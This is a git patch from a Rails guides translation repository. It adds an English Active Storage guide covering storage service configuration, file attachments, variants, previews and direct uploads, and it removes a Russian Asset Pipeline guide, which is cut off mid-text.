Rails](/debugging-rails-applications) * [Конфигурирование приложений на Rails](/configuring-rails-applications) + * [Командная строка Rails](/a-guide-to-the-rails-command-line) next_column * **Копаем глубже** - * [Командная строка Rails](/a-guide-to-the-rails-command-line) * [Кэширование с Rails](/caching-with-rails-an-overview) * [Asset Pipeline](/asset-pipeline) * [Работа с JavaScript в Rails](/working-with-javascript-in-rails) From 8a0853ebe0a2aaa549a1fd20ce8b376a85bd79ff Mon Sep 17 00:00:00 2001 From: Yauheni Dakuka Date: Fri, 8 Dec 2017 11:38:43 +0300 Subject: [PATCH 351/932] Add Active Storage guide --- source/active_storage_overview.md | 547 ++++++++++++++++++ source/asset_pipeline.md | 906 ------------------------------ source/index.yml | 6 + 3 files changed, 553 insertions(+), 906 deletions(-) create mode 100644 source/active_storage_overview.md delete mode 100644 source/asset_pipeline.md diff --git a/source/active_storage_overview.md b/source/active_storage_overview.md new file mode 100644 index 00000000..ae1eca30 --- /dev/null +++ b/source/active_storage_overview.md @@ -0,0 +1,547 @@ +Active Storage +============== + +This guide covers how to attach files to your Active Record models. + +After reading this guide, you will know: + +* How to attach one or many files to a record. +* How to delete an attached file. +* How to link to an attached file. +* How to use variants to transform images. +* How to generate an image representation of a non-image file, such as a PDF or a video. +* How to send file uploads directly from browsers to a storage service, + bypassing your application servers. +* How to clean up files stored during testing. +* How to implement support for additional storage services. + +-------------------------------------------------------------------------------- + +What is Active Storage? +----------------------- + +Active Storage facilitates uploading files to a cloud storage service like +Amazon S3, Google Cloud Storage, or Microsoft Azure Storage and attaching those +files to Active Record objects. It comes with a local disk-based service for +development and testing and supports mirroring files to subordinate services for +backups and migrations. + +Using Active Storage, an application can transform image uploads with +[ImageMagick](https://www.imagemagick.org), generate image representations of +non-image uploads like PDFs and videos, and extract metadata from arbitrary +files. + +## Setup + +Active Storage uses two tables in your application’s database named +`active_storage_blobs` and `active_storage_attachments`. After upgrading your +application to Rails 5.2, run `rails active_storage:install` to generate a +migration that creates these tables. Use `rails db:migrate` to run the +migration. + +You need not run `rails active_storage:install` in a new Rails 5.2 application: +the migration is generated automatically. + +Declare Active Storage services in `config/storage.yml`. For each service your +application uses, provide a name and the requisite configuration. The example +below declares three services named `local`, `test`, and `s3`: + +```yaml +local: + service: Disk + root: <%= Rails.root.join("storage") %> + +test: + service: Disk + root: <%= Rails.root.join("tmp/storage") %> + +s3: + service: S3 + access_key_id: "" + secret_access_key: "" +``` + +Tell Active Storage which service to use by setting +`Rails.application.config.active_storage.service`. Because each environment will +likely use a different service, it is recommended to do this on a +per-environment basis. To use the disk service from the previous example in the +development environment, you would add the following to +config/environments/development.rb: + +```ruby +# Store files locally. +config.active_storage.service = :local +``` + +To use the s3 service in production, you add the following to +`config/environments/production.rb`: + +```ruby +# Store files in S3. +config.active_storage.service = :s3 +``` + +Continue reading for more information on the built-in service adapters (e.g. +`Disk` and `S3`) and the configuration they require. + +### Disk Service + +Declare a Disk service in `config/storage.yml`: + +``` yaml +local: + service: Disk + root: <%= Rails.root.join("storage") %> +``` + +### Amazon S3 Service + +Declare an S3 service in `config/storage.yml`: + +``` yaml +s3: + service: S3 + access_key_id: "" + secret_access_key: "" + region: "" + bucket: "" +``` +Also, add the S3 client gem to your Gemfile: + +``` ruby +gem "aws-sdk-s3", require: false +``` + +### Microsoft Azure Storage Service + +Declare an Azure Storage service in `config/storage.yml`: + +``` yaml +azure: + service: AzureStorage + path: "" + storage_account_name: "" + storage_access_key: "" + container: "" +``` + +Also, add the Microsoft Azure Storage client gem to your Gemfile: + +``` ruby +gem "azure-storage", require: false +``` + +### Google Cloud Storage Service + +Declare a Google Cloud Storage service in `config/storage.yml`: + +``` yaml +google: + service: GCS + keyfile: { + type: "service_account", + project_id: "", + private_key_id: "", + private_key: "", + client_email: "", + client_id: "", + auth_uri: "https://accounts.google.com/o/oauth2/auth", + token_uri: "https://accounts.google.com/o/oauth2/token", + auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs", + client_x509_cert_url: "" + } + project: "" + bucket: "" +``` + +Also, add the Google Cloud Storage client gem to your Gemfile: + +``` ruby +gem "google-cloud-storage", "~> 1.3", require: false +``` + +### Mirror Service + +You can keep multiple services in sync by defining a mirror service. When a file +is uploaded or deleted, it's done across all the mirrored services. Mirrored +services can be used to facilitate a migration between services in production. +You can start mirroring to the new service, copy existing files from the old +service to the new, then go all-in on the new service. Define each of the +services you'd like to use as described above and reference them from a mirrored +service. + +``` yaml +s3_west_coast: + service: S3 + access_key_id: "" + secret_access_key: "" + region: "" + bucket: "" + +s3_east_coast: + service: S3 + access_key_id: "" + secret_access_key: "" + region: "" + bucket: "" + +production: + service: Mirror + primary: s3_east_coast + mirrors: + - s3_west_coast +``` + +NOTE: Files are served from the primary service. + +Attach Files to a Model +----------------------- + +### `has_one_attached` + +The `has_one_attached` macro sets up a one-to-one mapping between records and +files. Each record can have one file attached to it. + +For example, suppose your application has a User model. If you want each user to +have an avatar, define the `User` model like this: + +``` ruby +class User < ApplicationRecord + has_one_attached :avatar +end +``` + +You can create a user with an avatar: + +``` ruby +class SignupController < ApplicationController + def create + user = Users.create!(user_params) + session[:user_id] = user.id + redirect_to root_path + end + + private + def user_params + params.require(:user).permit(:email_address, :password, :avatar) + end +end +``` + +Call `avatar.attach` to attach an avatar to an existing user: + +```ruby +Current.user.avatar.attach(params[:avatar]) +``` + +Call `avatar.attached?` to determine whether a particular user has an avatar: + +```ruby +Current.user.avatar.attached? +``` + +### `has_many_attached` + +The `has_many_attached` macro sets up a one-to-many relationship between records +and files. Each record can have many files attached to it. + +For example, suppose your application has a `Message` model. If you want each +message to have many images, define the Message model like this: + +```ruby +class Message < ApplicationRecord + has_many_attached :images +end +``` + +You can create a message with images: + +```ruby +class MessagesController < ApplicationController + def create + message = Message.create!(message_params) + redirect_to message + end + + private + def message_params + params.require(:message).permit(:title, :content, images: []) + end +end +``` + +Call `images.attach` to add new images to an existing message: + +```ruby +@message.images.attach(params[:images]) +``` + +Call `images.attached?` to determine whether a particular message has any images: + +```ruby +@message.images.attached? +``` + +Remove File Attached to Model +----------------------------- + +To remove an attachment from a model, call `purge` on the attachment. Removal +can be done in the background if your application is setup to use Active Job. +Purging deletes the blob and the file from the storage service. + +```ruby +# Synchronously destroy the avatar and actual resource files. +user.avatar.purge + +# Destroy the associated models and actual resource files async, via Active Job. +user.avatar.purge_later +``` + +Link to Attachments +------------------- + +Generate a permanent URL for the blob that points to the application. Upon +access, a redirect to the actual service endpoint is returned. This indirection +decouples the public URL from the actual one, and allows, for example, mirroring +attachments in different services for high-availability. The redirection has an +HTTP expiration of 5 min. + +```ruby +url_for(user.avatar) +``` + +To create a download link, use the `rails_blob_{path|url}` helper. Using this +helper allows you to set the disposition. + +```ruby +rails_blob_path(user.avatar, disposition: "attachment") +``` + +Transform Images +---------------- + +To create variation of the image, call `variant` on the Blob. +You can pass any [MiniMagick](https://github.com/minimagick/minimagick) +supported transformation to the method. + +To enable variants, add `mini_magick` to your Gemfile: + +``` ruby +gem 'mini_magick' +``` + +When the browser hits the variant URL, ActiveStorage will lazy transform the +original blob into the format you specified and redirect to its new service +location. + +```erb +<%= image_tag user.avatar.variant(resize: "100x100") %> +``` + +Preview Non-image Files +----------------------- + +Some non-image files can be previewed: that is, they can be presented as images. +For example, a video file can be previewed by extracting its first frame. Out of +the box, Active Storage supports previewing videos and PDF documents. + +```erb +
      + <% @message.files.each do |file| %> +
    • + <%= image_tag file.preview(resize: "100x100>") %> +
    • + <% end %> +
    +``` + +WARNING: Extracting previews requires third-party applications, `ffmpeg` for +video and `mutool` for PDFs. These libraries are not provided by Rails. You must +install them yourself to use the built-in previewers. Before you install and use +third-party software, make sure you understand the licensing implications of +doing so. + +Upload Directly to Service +-------------------------- + +Active Storage, with its included JavaScript library, supports uploading +directly from the client to the cloud. + +### Direct upload installation + +1. Include `activestorage.js` in your application's JavaScript bundle. + + Using the asset pipeline: + + ```js + //= require activestorage + + ``` + + Using the npm package: + + ```js + import * as ActiveStorage from "activestorage" + ActiveStorage.start() + ``` + +2. Annotate file inputs with the direct upload URL. + + ```ruby + <%= form.file_field :attachments, multiple: true, direct_upload: true %> + ``` +3. That's it! Uploads begin upon form submission. + +### Direct upload JavaScript events + +| Event name | Event target | Event data (`event.detail`) | Description | +| --- | --- | --- | --- | +| `direct-uploads:start` | `
    ` | None | A form containing files for direct upload fields was submitted. | +| `direct-upload:initialize` | `` | `{id, file}` | Dispatched for every file after form submission. | +| `direct-upload:start` | `` | `{id, file}` | A direct upload is starting. | +| `direct-upload:before-blob-request` | `` | `{id, file, xhr}` | Before making a request to your application for direct upload metadata. | +| `direct-upload:before-storage-request` | `` | `{id, file, xhr}` | Before making a request to store a file. | +| `direct-upload:progress` | `` | `{id, file, progress}` | As requests to store files progress. | +| `direct-upload:error` | `` | `{id, file, error}` | An error occurred. An `alert` will display unless this event is canceled. | +| `direct-upload:end` | `` | `{id, file}` | A direct upload has ended. | +| `direct-uploads:end` | `` | None | All direct uploads have ended. | + +### Example + +You can use these events to show the progress of an upload. + +![direct-uploads](https://user-images.githubusercontent.com/5355/28694528-16e69d0c-72f8-11e7-91a7-c0b8cfc90391.gif) + +To show the uploaded files in a form: + +```js +// direct_uploads.js + +addEventListener("direct-upload:initialize", event => { + const { target, detail } = event + const { id, file } = detail + target.insertAdjacentHTML("beforebegin", ` +
    +
    + ${file.name} +
    + `) +}) + +addEventListener("direct-upload:start", event => { + const { id } = event.detail + const element = document.getElementById(`direct-upload-${id}`) + element.classList.remove("direct-upload--pending") +}) + +addEventListener("direct-upload:progress", event => { + const { id, progress } = event.detail + const progressElement = document.getElementById(`direct-upload-progress-${id}`) + progressElement.style.width = `${progress}%` +}) + +addEventListener("direct-upload:error", event => { + event.preventDefault() + const { id, error } = event.detail + const element = document.getElementById(`direct-upload-${id}`) + element.classList.add("direct-upload--error") + element.setAttribute("title", error) +}) + +addEventListener("direct-upload:end", event => { + const { id } = event.detail + const element = document.getElementById(`direct-upload-${id}`) + element.classList.add("direct-upload--complete") +}) +``` + +Add styles: + +```css +/* direct_uploads.css */ + +.direct-upload { + display: inline-block; + position: relative; + padding: 2px 4px; + margin: 0 3px 3px 0; + border: 1px solid rgba(0, 0, 0, 0.3); + border-radius: 3px; + font-size: 11px; + line-height: 13px; +} + +.direct-upload--pending { + opacity: 0.6; +} + +.direct-upload__progress { + position: absolute; + top: 0; + left: 0; + bottom: 0; + opacity: 0.2; + background: #0076ff; + transition: width 120ms ease-out, opacity 60ms 60ms ease-in; + transform: translate3d(0, 0, 0); +} + +.direct-upload--complete .direct-upload__progress { + opacity: 0.4; +} + +.direct-upload--error { + border-color: red; +} + +input[type=file][data-direct-upload-url][disabled] { + display: none; +} +``` + +Clean up Stored Files Store During System Tests +----------------------------------------------- + +System tests clean up test data by rolling back a transaction. Because destroy +is never called on an object, the attached files are never cleaned up. If you +want to clear the files, you can do it in an `after_teardown` callback. Doing it +here ensures that all connections created during the test are complete and +you won't receive an error from ActiveStorage saying it can't find a file. + +``` ruby +class ApplicationSystemTestCase < ActionDispatch::SystemTestCase + driven_by :selenium, using: :chrome, screen_size: [1400, 1400] + + def remove_uploaded_files + FileUtils.rm_rf("#{Rails.root}/storage_test") + end + + def after_teardown + super + remove_uploaded_files + end +end +``` + +If your system tests verify the deletion of a model with attachments and you're +using Active Job, set your test environment to use the inline queue adapter so +the purge job is executed immediately rather at an unknown time in the future. + +You may also want to use a separate service definition for the test environment +so your tests don't delete the files you create during development. + +``` ruby +# Use inline job processing to make things happen immediately +config.active_job.queue_adapter = :inline + +# Separate file storage in the test environment +config.active_storage.service = :local_test +``` + +Support Additional Cloud Services +--------------------------------- + +If you need to support a cloud service other than these, you will need to +implement the Service. Each service extends +[`ActiveStorage::Service`](https://github.com/rails/rails/blob/master/activestorage/lib/active_storage/service.rb) +by implementing the methods necessary to upload and download files to the cloud. diff --git a/source/asset_pipeline.md b/source/asset_pipeline.md deleted file mode 100644 index 9f675be0..00000000 --- a/source/asset_pipeline.md +++ /dev/null @@ -1,906 +0,0 @@ -Asset Pipeline -============== - -Это руководство раскрывает файлопровод (asset pipeline). - -Обратившись к этому руководству, вы узнаете: - -* Что такое файлопровод, и зачем он нужен. -* Как должным образом организовывать ассеты своего приложения. -* Преимущества файлопровода. -* Как добавить препроцессор к файлопроводу. -* Как упаковывать ассеты в гем. - -(what-is-the-asset-pipeline) Что такое файлопровод (Asset Pipeline)? --------------------------------------------------------------------- - -Файлопровод представляет фреймворк для соединения и минимизации или сжатия ассетов JavaScript и CSS. Он также добавляет возможность писать эти ассеты на других языках и препроцессорах, таких как CoffeeScript, Sass и ERB. Это позволяет комбинировать ассеты вашего приложения с ассетами других гемов. Например, jquery-rails содержит копию jquery.js и включает особенности AJAX в Rails. - -Файлопровод реализован в геме [sprockets-rails](https://github.com/rails/sprockets-rails) и включен по умолчанию. Можно отключить файлопровод при создании нового приложения, передав опцию `--skip-sprockets`. - -```bash -rails new appname --skip-sprockets -``` - -Rails автоматически добавляет гемы `sass-rails`, `coffee-rails` и `uglifier` в ваш `Gemfile`, которые используются Sprockets для компрессии ассетов: - -```ruby -gem 'sass-rails' -gem 'uglifier' -gem 'coffee-rails' -``` - -Использование опции `--skip-sprockets` предотвратит Rails от их добавления в `Gemfile`, поэтому, если вы позже решите включить файлопровод, будет необходимо добавить эти гемы в `Gemfile`. Также, создание приложения с опцией `--skip-sprockets` сгенерирует немного иной файл `config/application.rb`, с закомментированным выражением требования sprockets railtie. Необходимо раскомментировать эту строчку, чтобы в дальнейшем включить файлопровод: - -```ruby -# require "sprockets/railtie" -``` - -Чтобы установить методы компрессии ассетов, установите соответствующие конфигурационные опции в `production.rb` - `config.assets.css_compressor` для CSS и `config.assets.js_compressor` для JavaScript: - -```ruby -config.assets.css_compressor = :yui -config.assets.js_compressor = :uglifier -``` - -NOTE: Гем `sass-rails` автоматически используется для сжатия CSS, если он подключен в `Gemfile`, опцию `config.assets.css_compressor` устанавливать не нужно. - -### Основные особенности - -Первой особенностью файлопровода является соединение ассетов, что может уменьшить количество запросов, необходимых браузеру для отображения страницы. Браузеры ограничены в количестве запросов, которые они могут выполнить параллельно, поэтому меньшее количество запросов может означать более быструю загрузку вашего приложения. - -Sprockets соединяет все JavaScript файлы в один главный файл `.js` и все CSS файлы в один главный файл `.css`. Как будет сказано далее в этом руководстве, можно настроить эту стратегию, сгруппировав файлы любым способом. В production, Rails вставляет метку SHA256 в каждое имя файла, таким образом файл кэшируется браузером. Кэш можно сделать недействительным, изменив эту метку, что происходит автоматически каждый раз, когда изменяется содержимое файла. - -Второй особенностью файлопровода является минимизация или сжатие ассетов. Для файлов CSS это выполняется путем удаления пробелов и комментариев. Для JavaScript могут быть применены более сложные процессы. Можно выбирать из набора встроенных опций или определить свои. - -Третьей особенностью файлопровода является то, что он позволяет писать эти ассеты на языке более высокого уровня с дальнейшей прекомпиляцией до фактического ассета. Поддерживаемые языки по умолчанию включают Sass для CSS, CoffeeScript для JavaScript и ERB для обоих. - -### Что за метки и зачем они нужны? - -Метки (fingerprinting) - это техника, реализующая зависимость имени файла от его содержимого. При изменении содержимого файла, имя файла также изменяется. Для статичного или нечасто обновляемого содержимого это предоставляет легкий способ сказать, идентичны ли две версии файла, даже если они на разных серверах, или имеют различную дату размещения. - -Когда имя файла уникально и основано на его содержимом, заголовками HTTP можно установить повсеместное кэширование (в CDN, у провайдера, в сетевом оборудовании или браузере), чтобы у них была собственная копия содержимого. Когда содержимое изменяется, метка тоже изменится. Это приведет к тому, что удаленные клиенты запросят новую копию содержимого. Эта техника известна как _cache busting_. - -Техникой, используемой Sprockets для меток, является вставка хэша содержимого в имя, обычно в конце. Например, файл CSS `global.css`: - -``` -global-908e25f4bf641868d8683022a5b62f54.css -``` - -Это стратегия, принятая файлопроводом Rails. - -Прежней стратегией Rails было добавление строки запроса, основанной на дате, к каждому ассету, присоединенному с помощью встроенного хелпера. В исходнике сгенерированный код выглядел так: - -``` -/stylesheets/global.css?1309495796 -``` - -У стратегии, основанной на строке запроса, имелось несколько недостатков: - -1. **Не все кэши надежно кэшировали содержимое, когда имя файла отличалось только параметрами строки запроса** - - [Steve Souders рекомендует](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/), "...избегать строки запросов для кэшируемых ресурсов". Он обнаружил, что в этом случае 5-20% запросов не будут закэшированы. В частности, строки запроса совсем не работают с некоторыми сетями доставки контента (CDN) для инвалидации кэша. - -2. **Имя файла может быть разным на разных узлах в мультисерверных окружениях.** - - По умолчанию, строка запроса в Rails 2.x основывается на времени изменения файлов. Когда ассеты размещаются в кластер, нет никакой гарантии, что временная метка будет одной и той же, в результате будут использованы различные значения в зависимости от того, какой сервер будет обрабатывать запрос. - -3. **Слишком много прекращенного кэша** - - При размещении статичных ассетов с каждым новым релизом кода, mtime (время последнего изменения) _всех_ этих файлов изменялось, принуждая всех удаленных клиентов получать их снова, даже если содержимое этих ассетов не менялось. - -Метки исправляют эти проблемы, избегая строки запроса и обеспечивая то, что имя файла основывается на его содержимом. - -По умолчанию метки включены для сред development и production. Их можно включить или отключить в конфигурации с помощью опции `config.assets.digest`. - -Более подробно: - -* [Optimize caching](https://developers.google.com/speed/docs/insights/LeverageBrowserCaching) -* [Revving Filenames: don't use querystring](http://www.stevesouders.com/blog/2008/08/23/revving-filenames-dont-use-querystring/) - -(how-to-use-the-asset-pipeline) Как использовать файлопровод (Asset Pipeline) ------------------------------------------------------------------------------ - -В прежних версиях Rails, все ассеты были расположены в субдиректориях `public`, таких как `images`, `javascripts` и `stylesheets`. Сейчас, с файлопроводом, предпочтительным местом размещения для этих ассетов стала директория `app/assets`. Файлы в этой директории отдаются промежуточной программой Sprockets. - -Ассеты все еще могут быть размещены в `public`. Любой ассет в `public` будет отдан как статичный файл приложением или веб-сервером, когда `config.public_file_server.enabled` установлена true. Следует использовать `app/assets` для файлов, которые должны пройти некоторую предварительную обработку перед тем, как будут отданы. - -По умолчанию в production Rails прекомпилирует эти файлы в `public/assets`. Прекомпилированные копии затем отдаются веб-сервером как статичные ассеты. Файлы в `app/assets` никогда не отдаются напрямую в production. - -### Ассеты конкретного контроллера - -При генерации скаффолда или контроллера, Rails также генерирует файл JavaScript (или файл CoffeeScript, если гем `coffee-rails` имеется в `Gemfile`) и файл CSS (или файл SCSS, если `sass-rails` имеется в `Gemfile`) для этого контроллера. Дополнительно при генерации скаффолда, Rails генерирует файл `scaffolds.css` (или `scaffolds.scss`, если `sass-rails` находится в `Gemfile`.) - -Например, если генерируете `ProjectsController`, Rails также добавит новый файл `app/assets/javascripts/projects.coffee` и еще один `app/assets/stylesheets/projects.scss`. По умолчанию эти файлы будут готовы к немедленному использованию вашим приложением, с помощью директивы `require_tree`. Смотрите [Файлы манифеста и директивы](#manifest-files-and-directives) о подробностях `require_tree`. - -Опционально можно включить таблицы стилей и файлы JavaScript конкретного контроллера только для их соответствующих контроллеров, используя следующее: - -`<%= javascript_include_tag params[:controller] %>` или `<%= stylesheet_link_tag params[:controller] %>`. - -При этом убедитесь, что не используете директиву `require_tree`, так как она приведет к тому, что ассеты будут включены более одного раза. - -WARNING: При использовании прекомпиляции ассетов, необходимо убедиться, что ассеты контроллера будут прекомпилированы при варианте загрузки их на основе страницы. По умолчанию файлы `.coffee` и `.scss` не будут прекомпилированы отдельно. Смотрите [Прекомпиляция ассетов](#in-production) о подробностях работы прекомпиляции. - -NOTE: Вам необходим runtime, поддерживаемый ExecJS, чтобы использовать CoffeeScript. Если используете macOS или Windows, у вас уже имеется JavaScript runtime, установленный в операционной системе. Обратитесь к документации по [ExecJS](https://github.com/rails/execjs#readme), чтобы узнать обо всех поддерживаемых JavaScript runtime-ах. - -Отключить генерацию ассетов при генерации контроллера можно, добавив следующее в конфигурацию `config/application.rb`: - -```ruby - config.generators do |g| - g.assets false - end -``` - -### Организация ассетов - -Ассеты файлопровода могут быть размещены в приложении в одном из этих трех мест: `app/assets`, `lib/assets` или `vendor/assets`. - -`app/assets` предназначено для ассетов, принадлежащих приложению, таких как изображения, файлы JavaScript или таблицы стилей, изготовленные специально для приложения. - -`lib/assets` предназначено для кода ваших собственных библиотек, которые не вписываются в сферу применения приложения или эти библиотеки используются в нескольких приложениях. - -`vendor/assets` предназначено для ассетов, принадлежащих сторонним субъектам, таких как код плагинов JavaScript и фреймворки CSS. Имейте в виду, что код третьей стороны со ссылками на другие файлы, также обрабатывающиеся файлопроводом (изображения, таблицы стилей и так далее), должен быть переписан с помощью хелперов, таких как `asset_path`. - -WARNING: Если вы обновляетесь с Rails 3, примите во внимание, что ассеты в `lib/assets` или `vendor/assets` доступны для включения в манифестах приложения, но больше не являются частью массива прекомпиляции. Что делать в этом случае, смотрите [Прекомпиляция ассетов](#precompiling-assets). - -#### Пути поиска - -Когда к файлу обращаются из манифеста или хелпера, Sprockets ищет в трех дефолтных местах размещения ассетов для этого файла. - -Дефолтные места следующие: директории `images`, `javascripts` и `stylesheets` в папке `app/assets`, но эти поддиректории не особенные - поиск будет вестись по любому пути в `assets/*`. - -Для примера, на эти файлы: - -``` -app/assets/javascripts/home.js -lib/assets/javascripts/moovinator.js -vendor/assets/javascripts/slider.js -vendor/assets/somepackage/phonebox.js -``` - -можно сослаться в манифесте таким образом: - -```js -//= require home -//= require moovinator -//= require slider -//= require phonebox -``` - -Ассеты в поддиректориях также доступны. - -``` -app/assets/javascripts/sub/something.js -``` - -доступен как: - -```js -//= require sub/something -``` - -Можно просмотреть путь поиска, проинспектировав `Rails.application.config.assets.paths` в консоли Rails. - -Помимо стандартных путей `assets/*` в файлопровод могут быть добавлены дополнительные (полностью ограниченные) пути в `config/initializers/assets.rb`. Например: - -```ruby -Rails.application.config.assets.paths << Rails.root.join("lib", "videoplayer", "flash") -``` - -Пути обходятся в том порядке, в котором они выводятся в пути поиска. По умолчанию это означает, что имеют преимущество файлы в `app/assets`, они перекроют соответствующие пути в `lib` и `vendor`. - -Важно заметить, что если хотите сослаться на что-то еще, в прекомпилированный массив должен быть добавлен манифест, или оно не будет доступно в среде production. - -#### Использование индексных файлов - -Sprockets использует файлы с именем `index` (с соответствующим расширением) для специальных целей. - -Например, если имеется библиотека jQuery с множеством модулей, хранящаяся в `lib/assets/javascripts/library_name`, файл `lib/assets/javascripts/library_name/index.js` служит манифестом для всех файлов в этой библиотеке. Этот файл может включать список всех требуемых файлов в нужном порядке, или просто директиву `require_tree`. - -Библиотека в целом может быть доступна из манифеста приложения следующим образом: - -```js -//= require library_name -``` - -Это упрощает поддержку и сохраняет чистоту, позволяя коду быть сгруппированным перед включением где-нибудь еще. - -### Кодирование ссылок на ассеты - -Sprockets не добавляет какие-либо новые методы для доступа к вашим ассетам - используйте знакомые методы `javascript_include_tag` и `stylesheet_link_tag`. - -```erb -<%= stylesheet_link_tag "application", media: "all" %> -<%= javascript_include_tag "application" %> -``` - -При использовании гема turbolinks, который включен по умолчанию в Rails, включите опцию 'data-turbolinks-track', которая вызывает проверку turbolinks, что ассет был обновлен, таким образом загружая его на страницу: - -```erb -<%= stylesheet_link_tag "application", media: "all", "data-turbolinks-track" => "reload" %> -<%= javascript_include_tag "application", "data-turbolinks-track" => "reload" %> -``` - -В обычных вьюхах можно получить доступ к изображениям в директории `app/assets/images` следующим образом: - -```erb -<%= image_tag "rails.png" %> -``` - -При условии, что файлопровод включен в вашем приложении (и не отключен в контексте текущей среды), этот файл будет отдан с помощью Sprockets. Если файл существует в `public/assets/rails.png`, он будет отдан веб-сервером. - -Кроме того, запрос файла с хэшем SHA256, такого как `public/assets/rails-f90d8a84c707a8dc923fca1ca1895ae8ed0a09237f6992015fef1e11be77c023.png` будет обработан тем же образом. Как генерируются эти хэши будет раскрыто позже в этом руководстве в разделе [В production](#in-production). - -Sprockets также будет смотреть среди путей, определенных в `config.assets.paths`, включающих стандартные пути приложения и любые пути, добавленные engine-ами Rails. - -Изображения также могут быть организованы в субдиректории и могут быть доступны с помощью указания имени директории в теге: - -```erb -<%= image_tag "icons/rails.png" %> -``` - -WARNING: Если вы прекомпилируете ассеты (смотрите раздел [В production](#in-production) далее), связывание с несуществующим ассетом вызовет исключение на вызывающей странице. Это также справедливо и для связывания с пустой строкой. Поэтому будьте осторожны при использовании `image_tag` и других хелперов с данными, предоставленными пользователями. - -#### CSS и ERB - -Файлопровод автоматически вычисляет ERB. Это означает, что, если добавить расширение `erb` к ассету CSS (например, `application.css.erb`), будут доступны хелперы, такие как `asset_path`, в правилах вашего CSS: - -```css -.class { background-image: url(http://github.com/%3C%=%20asset_path%20'image.png'%20%%3E) } -``` - -Этот фрагмент кода записывает путь к определенному указанному ассету. Этот пример имеет смысл если имеется изображение в одном из путей загрузки ассетов, такое как `app/assets/images/image.png`, на которое тут будет ссылка. Если это изображение уже имеется в `public/assets` как файл с меткой, то будет ссылка на него. - -Если хотите использовать [data URI](https://ru.wikipedia.org/wiki/Data:_URL) - метод встраивания данных изображения непосредственно в файл CSS - используйте хелпер `asset_data_uri`. - -```css -#logo { background: url(http://github.com/%3C%=%20asset_data_uri%20'logo.png'%20%%3E) } -``` - -Этот фрагмент кода вставит правильно отформатированный URI в код CSS. - -Отметьте, что закрывающий тег не может быть стиля `-%>`. - -#### CSS и Sass - -При использовании файлопровода пути к ассетам должны быть переписаны. `sass-rails` предоставляет хелперы `-url` и `-path` (через дефис в Sass, через подчеркивание в Ruby) для следующих классов ассета: изображение, шрифт, видео, аудио, JavaScript и таблица стилей. - -* `image-url("http://github.com/rails.png")` возвращает `url(http://github.com/assets/rails.png)` -* `image-path("rails.png")` возвращает `"/assets/rails.png"`. - -Также может быть использована более общая форма: - -* `asset-url("http://github.com/rails.png")` возвращает `url(http://github.com/assets/rails.png)` -* `asset-path("rails.png")` возвращает `"/assets/rails.png"` - -#### JavaScript/CoffeeScript и ERB - -Если добавить расширение `erb` к ассету JavaScript, сделав его чем-то вроде `application.js.erb`, можно использовать хелпер `asset_path` в коде вашего JavaScript: - -```erb -$('#logo').attr({ src: "<%= asset_path('logo.png') %>" }); -``` - -Этот фрагмент кода записывает путь к определенному указанному ассету. - -Подобным образом можно использовать хелпер `asset_path` в файлах CoffeeScript с расширением `erb` (т.е. `application.coffee.erb`): - -```js -$('#logo').attr src: "<%= asset_path('logo.png') %>" -``` - -### (manifest-files-and-directives) Файлы манифеста и директивы - -Sprockets использует файлы манифеста для определения, какие ассеты включать и отдавать. Эти файлы манифеста содержат _директивы_ - инструкции, говорящие Sprockets, какие файлы требуются для создания отдельного файла CSS или JavaScript. С помощью этих директив Sprockets загружает указанные файлы, при необходимости их обрабатывает, соединяет в отдельный файл и затем сжимает их (основываясь на значении `Rails.application.config.assets.js_compressor`). При отдаче одного файла, а не нескольких, время загрузки страницы значительно уменьшается, поскольку браузер делает меньше запросов. Компрессия также уменьшает размер файла, что позволяет браузеру быстрее его скачать. - -К примеру, новое приложение Rails включает дефолтный файл `app/assets/javascripts/application.js`, содержащий следующие строчки: - -```js -// ... -//= require rails-ujs -//= require turbolinks -//= require_tree . -``` - -В файлах JavaScript директивы начинаются с `//=`. В вышеприведенном примере файл использует директивы `require` и `require_tree`. Директива `require` используется, чтобы указать Sprockets на требуемые файлы. Здесь затребованы файлы `rails-ujs.js` и `turbolinks.js`, которые доступны где-то по пути поиска для Sprockets. Не нужно явно указывать расширение. Sprockets предполагает, что вы требуете файл `.js`, когда выполняется из файла `.js`. - -Директива `require_tree` говорит Sprockets рекурсивно включить _все_ файлы JavaScript в указанной директории в результирующий файл. Эти пути должны быть определены только относительно файла манифеста. Также можно использовать директиву `require_directory`, включающая все файлы JavaScript только в определенной директории, без рекурсии. - -Директивы обрабатываются сверху вниз, но порядок, в котором файлы включаются с помощью `require_tree` не определен. Не следует полагаться на какой-то определенный порядок при ее использовании. Если хотите убедиться, что какой-то определенный JavaScript закончится до некоторого другого в объединенном файле, затребуйте нужный файл раньше в манифесте. Отметьте, что семейство директив `require` предотвращает повторное включения файлов в результирующий файл. - -Rails также создает дефолтный файл `app/assets/stylesheets/application.css`, содержащий эти строчки: - -```css -/* ... -*= require_self -*= require_tree . -*/ -``` - -Rails создает оба `app/assets/javascripts/application.js` и `app/assets/stylesheets/application.css` независимо от того, была ли выбрана опция `--skip-sprockets` при создании нового приложения Rails. Это для того, чтобы было легко добавить файлопровод в будущем, если захотите. - -Директивы, работающие в файлах JavaScript, также работают в таблицах стилей (хотя, очевидно, включая таблицы стилей вместо JavaScript). В манифесте CSS директива `require_tree` работает так же, как и для JavaScript, включающая все таблицы стилей из текущей директории. - -В этом примере использована `require_self`. Это помещает CSS, содержащийся в файле (если есть) в месте расположения вызова `require_self`. - -NOTE. Если хотите использовать несколько файлов Sass, как правило следует использовать [правило Sass `@import`](http://sass-lang.com/docs/yardoc/file.SASS_REFERENCE.html#import) вместо директив Sprockets. При использовании директив Sprockets все файлы существуют в своей собственной области видимости, что делает переменные или примеси (mixins) доступными только в определяющем их документе. - -Можно подключить несколько файлов с помощью `@import "http://github.com/*"`, и добавить все дерево с помощью `@import "http://github.com/**/*"`, что эквивалентно `require_tree`. Обратитесь к [документации sass-rails](https://github.com/rails/sass-rails#features) за подробностями и важными предостережениями. - -Можно иметь сколько угодно манифестов. Для примера, манифесты `admin.css` и `admin.js` могут содержать файлы JS и CSS, используемые для административного раздела приложения. - -Применяются те же оговорки о порядке следования, что сделаны выше. В частности, можно определить отдельные файлы и порядок, в котором они будут компилироваться. Например, можно соединить три файла CSS вместе следующим образом: - -```css -/* ... -*= require reset -*= require layout -*= require chrome -*/ -``` - -### Предварительная обработка - -Расширение, использованное для ассета, определяет, какая будет применена предварительная обработка. Когда генерируется скаффолд или 